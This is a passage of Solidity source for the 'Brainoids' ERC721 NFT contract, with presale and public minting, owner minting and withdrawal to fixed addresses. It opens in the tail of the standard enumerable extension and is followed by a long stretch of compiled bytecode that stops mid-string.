ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.0; contract Brainoids is ERC721Enumerable, Ownable { string baseURI; uint256 public constant MAX_BRAIN = 5555; uint256 public price = 55000000000000000; //0.055 ETH uint256 public prePrice = 45000000000000000; //0.045 ETH bool public publicSale = false; bool public preSale = false; mapping (address => uint256) public preMintAddrs; uint256 public preMintNums; address benefitAddr = 0x5eD624152EA66eE99fC50521430bf96Db69e1dfC; address devAddr = 0x3d0c83F3ABdEf9D19E2421Ed119A6C4557178c3B; constructor(string memory name, string memory symbol) ERC721(name, symbol) { } function getPreMintAddrNums() public view returns (uint256){ return preMintAddrs[_msgSender()]; } function getPrice() public view returns (uint256){ return price; } function getPrePrice() public view returns (uint256){ return prePrice; } function getSoldNum() public view returns (uint256){ return totalSupply(); } function withdraw() public onlyOwner { payable(devAddr).transfer(address(this).balance*5/100); payable(benefitAddr).transfer(address(this).balance); } function flipSaleState() public onlyOwner { publicSale = !publicSale; } function flipPreSaleState() public onlyOwner { preSale = !preSale; } function changePrice(uint256 newPrice) public onlyOwner { price = newPrice; } function changePrePrice(uint256 newPrice) public onlyOwner { prePrice = newPrice; } function setBaseURI(string memory _uri) public onlyOwner { baseURI = _uri; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function ownerMint(uint nums) public onlyOwner{ require(totalSupply() + nums < MAX_BRAIN, "sold out."); for(uint i = 0; i < nums; i++){ uint id = totalSupply(); if(id < MAX_BRAIN){ _safeMint(0xe6519aB01cEc48F59465E65d18619737e6697D11, id); } } } function setPreMintAddr(address[] memory addr) public onlyOwner{ require(preSale, "Pre Sale not started."); uint addrLength = addr.length; for(uint i = 0; i < addrLength; i++){ preMintAddrs[addr[i]] = preMintAddrs[addr[i]] + 5; } } function preMint(uint nums) external payable { require(preSale, "Pre Sale not started."); require(preMintAddrs[_msgSender()] >= nums, "can not pre mint more than you own."); require(preMintNums < 400, "ony 400 address can pre mint."); require(totalSupply() < MAX_BRAIN, "sold out."); require(totalSupply() + nums <= MAX_BRAIN, "not enough left."); uint salePrice = prePrice * nums; require(msg.value >= salePrice, "not enough funds to purchase."); for(uint i = 0; i < nums; i++){ uint id = totalSupply(); if(id < MAX_BRAIN){ _safeMint(_msgSender(), id); } } preMintAddrs[_msgSender()] = preMintAddrs[_msgSender()] - nums; preMintNums = preMintNums + 1; } function mint(uint nums) external payable { require(publicSale, "Sale not started."); require(nums <= 20, "nums not more than 20."); require(totalSupply() < MAX_BRAIN, "sold out."); require(totalSupply() + nums <= MAX_BRAIN, "not enough left."); uint salePrice = price * nums; require(msg.value >= salePrice, "not enough funds to purchase."); for(uint i = 0; i < nums; i++){ uint id = totalSupply(); if(id < MAX_BRAIN){ _safeMint(_msgSender(), id); } } } }
0x60806040526004361061023b5760003560e01c806370a082311161012e578063a2b40d19116100ab578063e567cad61161006f578063e567cad614610845578063e985e9c514610870578063f0325549146108ad578063f19e75d4146108c4578063f2fde38b146108ed5761023b565b8063a2b40d1914610760578063a73c9ee014610789578063b88d4fde146107b4578063c87b56dd146107dd578063cd8dda301461081a5761023b565b806398d5fdca116100f257806398d5fdca1461069a5780639c6ba991146106c5578063a035b1fe146106f0578063a0712d681461071b578063a22cb465146107375761023b565b806370a08231146105d4578063715018a6146106115780638ad433ac146106285780638da5cb5b1461064457806395d89b411461066f5761023b565b806334918dfd116101bc57806355f804b31161018057806355f804b3146104f15780635743b25c1461051a5780635a7adf7f146105435780636352211e1461056e5780636aab8e71146105ab5761023b565b806334918dfd146104325780633ccfd60b1461044957806342842e0e146104605780634d9ac681146104895780634f6ccce7146104b45761023b565b806318160ddd1161020357806318160ddd1461034b57806323b872dd146103765780632f745c591461039f57806333bc1c5c146103dc57806334349eab146104075761023b565b806301ffc9a71461024057806306fdde031461027d578063081812fc146102a8578063095ea7b3146102e557806317efc25b1461030e575b600080fd5b34801561024c57600080fd5b506102676004803603810190610262919061367e565b610916565b6040516102749190613c37565b60405180910390f35b34801561028957600080fd5b50610292610990565b60405161029f9190613c52565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613721565b610a22565b6040516102dc9190613bd0565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906135f5565b610aa7565b005b34801561031a57600080fd5b5061033560048036038101906103309190613472565b610bbf565b6040516103429190613fb4565b60405180910390f35b34801561035757600080fd5b50610360610bd7565b60405161036d9190613fb4565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906134df565b610be4565b005b3480156103ab57600080fd5b506103c660048036038101906103c191906135f5565b610c44565b6040516103d39190613fb4565b60405180910390f35b3480156103e857600080fd5b506103f1610ce9565b6040516103fe9190613c37565b60405180910390f35b34801561041357600080fd5b5061041c610cfc565b6040516104299190613fb4565b60405180910390f35b34801561043e57600080fd5b50610447610d02565b005b34801561045557600080fd5b5061045e610daa565b005b34801561046c57600080fd5b50610487600480360381019061048291906134df565b610f12565b005b34801561049557600080fd5b5061049e610f32565b6040516104ab9190613fb4565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d69190613721565b610f41565b6040516104e89190613fb4565b60405180910390f35b3480156104fd57600080fd5b50610518600480360381019061051391906136d8565b610fb2565b005b34801561052657600080fd5b50610541600480360381019061053c9190613721565b611048565b005b34801561054f57600080fd5b506105586110ce565b6040516105659190613c37565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190613721565b6110e1565b6040516105a29190613bd0565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190613635565b611193565b005b3480156105e057600080fd5b506105fb60048036038101906105f69190613472565b61134a565b6040516106089190613fb4565b60405180910390f35b34801561061d57600080fd5b50610626611402565b005b610642600480360381019061063d9190613721565b61148a565b005b34801561065057600080fd5b5061065961179c565b6040516106669190613bd0565b60405180910390f35b34801561067b57600080fd5b506106846117c6565b6040516106919190613c52565b60405180910390f35b3480156106a657600080fd5b506106af611858565b6040516106bc9190613fb4565b60405180910390f35b3480156106d157600080fd5b506106da611862565b6040516106e79190613fb4565b60405180910390f35b3480156106fc57600080fd5b50610705611868565b6040516107129190613fb4565b60405180910390f35b61073560048036038101906107309190613721565b61186e565b005b34801561074357600080fd5b5061075e600480360381019061075991906135b5565b611a44565b005b34801561076c57600080fd5b5061078760048036038101906107829190613721565b611bc5565b005b34801561079557600080fd5b5061079e611c4b565b6040516107ab9190613fb4565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190613532565b611c55565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190613721565b611cb7565b6040516108119190613c52565b60405180910390f35b34801561082657600080fd5b5061082f611d5e565b60405161083c9190613fb4565b60405180910390f35b34801561085157600080fd5b5061085a611dac565b6040516108679190613fb4565b60405180910390f35b34801561087c57600080fd5b506108976004803603810190610892919061349f565b611db2565b6040516108a49190613c37565b60405180910390f35b3480156108b957600080fd5b506108c2611e46565b005b3480156108d057600080fd5b506108eb60048036038101906108e69190613721565b611eee565b005b3480156108f957600080fd5b50610914600480360381019061090f9190613472565b612018565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610989575061098882612110565b5b9050919050565b60606000805461099f90614290565b80601f01602080910402602001604051908101604052809291908181526020018280546109cb90614290565b8015610a185780601f106109ed57610100808354040283529160200191610a18565b820191906000526020600020905b8154815290600101906020018083116109fb57829003601f168201915b5050505050905090565b6000610a2d826121f2565b610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390613e74565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610ab2826110e1565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90613f34565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b4261225e565b73ffffffffffffffffffffffffffffffffffffffff161480610b715750610b7081610b6b61225e565b611db2565b5b610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba790613db4565b60405180910390fd5b610bba8383612266565b505050565b600f6020528060005260406000206000915090505481565b6000600880549050905090565b610bf5610bef61225e565b8261231f565b610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613f54565b60405180910390fd5b610c3f8383836123fd565b505050565b6000610c4f8361134a565b8210610c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8790613c94565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600e60009054906101000a900460ff1681565b60105481565b610d0a61225e565b73ffffffffffffffffffffffffffffffffffffffff16610d2861179c565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613e94565b60405180910390fd5b600e60009054906101000a900460ff1615600e60006101000a81548160ff021916908315150217905550565b610db261225e565b73ffffffffffffffffffffffffffffffffffffffff16610dd061179c565b73ffffffffffffffffffffffffffffffffffffffff1614610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d90613e94565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600547610e71919061414c565b610e7b919061411b565b9081150290604051600060405180830381858888f19350505050158015610ea6573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610f0f573d6000803e3d6000fd5b50565b610f2d83838360405180602001604052806000815250611c55565b505050565b6000610f3c610bd7565b905090565b6000610f4b610bd7565b8210610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8390613f74565b60405180910390fd5b60088281548110610fa057610f9f614429565b5b90600052602060002001549050919050565b610fba61225e565b73ffffffffffffffffffffffffffffffffffffffff16610fd861179c565b73ffffffffffffffffffffffffffffffffffffffff161461102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590613e94565b60405180910390fd5b80600b90805190602001906110449291906131e8565b5050565b61105061225e565b73ffffffffffffffffffffffffffffffffffffffff1661106e61179c565b73ffffffffffffffffffffffffffffffffffffffff16146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb90613e94565b60405180910390fd5b80600d8190555050565b600e60019054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118190613df4565b60405180910390fd5b80915050919050565b61119b61225e565b73ffffffffffffffffffffffffffffffffffffffff166111b961179c565b73ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690613e94565b60405180910390fd5b600e60019054906101000a900460ff1661125e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125590613d74565b60405180910390fd5b60008151905060005b81811015611345576005600f600085848151811061128857611287614429565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d591906140c5565b600f60008584815181106112ec576112eb614429565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061133d906142f3565b915050611267565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b290613dd4565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61140a61225e565b73ffffffffffffffffffffffffffffffffffffffff1661142861179c565b73ffffffffffffffffffffffffffffffffffffffff161461147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590613e94565b60405180910390fd5b6114886000612659565b565b600e60019054906101000a900460ff166114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090613d74565b60405180910390fd5b80600f60006114e661225e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990613c74565b60405180910390fd5b610190601054106115a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159f90613e34565b60405180910390fd5b6115b36115b3610bd7565b106115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90613f14565b60405180910390fd5b6115b3816115ff610bd7565b61160991906140c5565b111561164a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164190613e14565b60405180910390fd5b600081600d5461165a919061414c565b90508034101561169f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169690613f94565b60405180910390fd5b60005b828110156116e65760006116b4610bd7565b90506115b38110156116d2576116d16116cb61225e565b8261271f565b5b5080806116de906142f3565b9150506116a2565b5081600f60006116f461225e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173991906141a6565b600f600061174561225e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160105461179291906140c5565b6010819055505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546117d590614290565b80601f016020809104026020016040519081016040528092919081815260200182805461180190614290565b801561184e5780601f106118235761010080835404028352916020019161184e565b820191906000526020600020905b81548152906001019060200180831161183157829003601f168201915b5050505050905090565b6000600c54905090565b6115b381565b600c5481565b600e60009054906101000a900460ff166118bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b490613cf4565b60405180910390fd5b6014811115611901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f890613eb4565b60405180910390fd5b6115b361190c610bd7565b1061194c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194390613f14565b60405180910390fd5b6115b381611958610bd7565b61196291906140c5565b11156119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a90613e14565b60405180910390fd5b600081600c546119b3919061414c565b9050803410156119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90613f94565b60405180910390fd5b60005b82811015611a3f576000611a0d610bd7565b90506115b3811015611a2b57611a2a611a2461225e565b8261271f565b5b508080611a37906142f3565b9150506119fb565b505050565b611a4c61225e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190613d54565b60405180910390fd5b8060056000611ac761225e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611b7461225e565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611bb99190613c37565b60405180910390a35050565b611bcd61225e565b73ffffffffffffffffffffffffffffffffffffffff16611beb61179c565b73ffffffffffffffffffffffffffffffffffffffff1614611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890613e94565b60405180910390fd5b80600c8190555050565b6000600d54905090565b611c66611c6061225e565b8361231f565b611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c90613f54565b60405180910390fd5b611cb18484848461273d565b50505050565b6060611cc2826121f2565b611d01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf890613ef4565b60405180910390fd5b6000611d0b612799565b90506000815111611d2b5760405180602001604052806000815250611d56565b80611d358461282b565b604051602001611d46929190613bac565b6040516020818303038152906040525b915050919050565b6000600f6000611d6c61225e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600d5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611e4e61225e565b73ffffffffffffffffffffffffffffffffffffffff16611e6c61179c565b73ffffffffffffffffffffffffffffffffffffffff1614611ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb990613e94565b60405180910390fd5b600e60019054906101000a900460ff1615600e60016101000a81548160ff021916908315150217905550565b611ef661225e565b73ffffffffffffffffffffffffffffffffffffffff16611f1461179c565b73ffffffffffffffffffffffffffffffffffffffff1614611f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6190613e94565b60405180910390fd5b6115b381611f76610bd7565b611f8091906140c5565b10611fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb790613f14565b60405180910390fd5b60005b81811015612014576000611fd5610bd7565b90506115b381101561200057611fff73e6519ab01cec48f59465e65d18619737e6697d118261271f565b5b50808061200c906142f3565b915050611fc3565b5050565b61202061225e565b73ffffffffffffffffffffffffffffffffffffffff1661203e61179c565b73ffffffffffffffffffffffffffffffffffffffff1614612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90613e94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fb90613cd4565b60405180910390fd5b61210d81612659565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806121db57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806121eb57506121ea8261298c565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166122d9836110e1565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061232a826121f2565b612369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236090613d94565b60405180910390fd5b6000612374836110e1565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806123e357508373ffffffffffffffffffffffffffffffffffffffff166123cb84610a22565b73ffffffffffffffffffffffffffffffffffffffff16145b806123f457506123f38185611db2565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661241d826110e1565b73ffffffffffffffffffffffffffffffffffffffff1614612473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246a90613ed4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da90613d34565b60405180910390fd5b6124ee8383836129f6565b6124f9600082612266565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461254991906141a6565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125a091906140c5565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612739828260405180602001604052806000815250612b0a565b5050565b6127488484846123fd565b61275484848484612b65565b612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a90613cb4565b60405180910390fd5b50505050565b6060600b80546127a890614290565b80601f01602080910402602001604051908101604052809291908181526020018280546127d490614290565b80156128215780601f106127f657610100808354040283529160200191612821565b820191906000526020600020905b81548152906001019060200180831161280457829003601f168201915b5050505050905090565b60606000821415612873576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612987565b600082905060005b600082146128a557808061288e906142f3565b915050600a8261289e919061411b565b915061287b565b60008167ffffffffffffffff8111156128c1576128c0614458565b5b6040519080825280601f01601f1916602001820160405280156128f35781602001600182028036833780820191505090505b5090505b600085146129805760018261290c91906141a6565b9150600a8561291b919061433c565b603061292791906140c5565b60f81b81838151811061293d5761293c614429565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612979919061411b565b94506128f7565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612a01838383612cfc565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a4457612a3f81612d01565b612a83565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612a8257612a818382612d4a565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ac657612ac181612eb7565b612b05565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612b0457612b038282612f88565b5b5b505050565b612b148383613007565b612b216000848484612b65565b612b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5790613cb4565b60405180910390fd5b505050565b6000612b868473ffffffffffffffffffffffffffffffffffffffff166131d5565b15612cef578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612baf61225e565b8786866040518563ffffffff1660e01b8152600401612bd19493929190613beb565b602060405180830381600087803b158015612beb57600080fd5b505af1925050508015612c1c57506040513d601f19601f82011682018060405250810190612c1991906136ab565b60015b612c9f573d8060008114612c4c576040519150601f19603f3d011682016040523d82523d6000602084013e612c51565b606091505b50600081511415612c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8e90613cb4565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612cf4565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612d578461134a565b612d6191906141a6565b9050600060076000848152602001908152602001600020549050818114612e46576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612ecb91906141a6565b9050600060096000848152602001908152602001600020549050600060088381548110612efb57612efa614429565b5b906000526020600020015490508060088381548110612f1d57612f1c614429565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612f6c57612f6b6143fa565b5b6001900381819060005260206000200160009055905550505050565b6000612f938361134a565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306e90613e54565b60405180910390fd5b613080816121f2565b156130c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b790613d14565b60405180910390fd5b6130cc600083836129f6565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461311c91906140c5565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b8280546131f490614290565b90600052602060002090601f016020900481019282613216576000855561325d565b82601f1061322f57805160ff191683800117855561325d565b8280016001018555821561325d579182015b8281111561325c578251825591602001919060010190613241565b5b50905061326a919061326e565b5090565b5b8082111561328757600081600090555060010161326f565b5090565b600061329e61329984613ff4565b613fcf565b905080838252602082019050828560208602820111156132c1576132c061448c565b5b60005b858110156132f157816132d7888261337f565b8452602084019350602083019250506001810190506132c4565b5050509392505050565b600061330e61330984614020565b613fcf565b90508281526020810184848401111561332a57613329614491565b5b61333584828561424e565b509392505050565b600061335061334b84614051565b613fcf565b90508281526020810184848401111561336c5761336b614491565b5b61337784828561424e565b509392505050565b60008135905061338e81614b15565b92915050565b600082601f8301126133a9576133a8614487565b5b81356133b984826020860161328b565b91505092915050565b6000813590506133d181614b2c565b92915050565b6000813590506133e681614b43565b92915050565b6000815190506133fb81614b43565b92915050565b600082601f83011261341657613415614487565b5b81356134268482602086016132fb565b91505092915050565b600082601f83011261344457613443614487565b5b813561345484826020860161333d565b91505092915050565b60008135905061346c81614b5a565b92915050565b6000602082840312156134885761348761449b565b5b60006134968482850161337f565b91505092915050565b600080604083850312156134b6576134b561449b565b5b60006134c48582860161337f565b92505060206134d58582860161337f565b9150509250929050565b6000806000606084860312156134f8576134f761449b565b5b60006135068682870161337f565b93505060206135178682870161337f565b92505060406135288682870161345d565b9150509250925092565b6000806000806080858703121561354c5761354b61449b565b5b600061355a8782880161337f565b945050602061356b8782880161337f565b935050604061357c8782880161345d565b925050606085013567ffffffffffffffff81111561359d5761359c614496565b5b6135a987828801613401565b91505092959194509250565b600080604083850312156135cc576135cb61449b565b5b60006135da8582860161337f565b92505060206135eb858286016133c2565b9150509250929050565b6000806040838503121561360c5761360b61449b565b5b600061361a8582860161337f565b925050602061362b8582860161345d565b9150509250929050565b60006020828403121561364b5761364a61449b565b5b600082013567ffffffffffffffff81111561366957613668614496565b5b61367584828501613394565b91505092915050565b6000602082840312156136945761369361449b565b5b60006136a2848285016133d7565b91505092915050565b6000602082840312156136c1576136c061449b565b5b60006136cf848285016133ec565b91505092915050565b6000602082840312156136ee576136ed61449b565b5b600082013567ffffffffffffffff81111561370c5761370b614496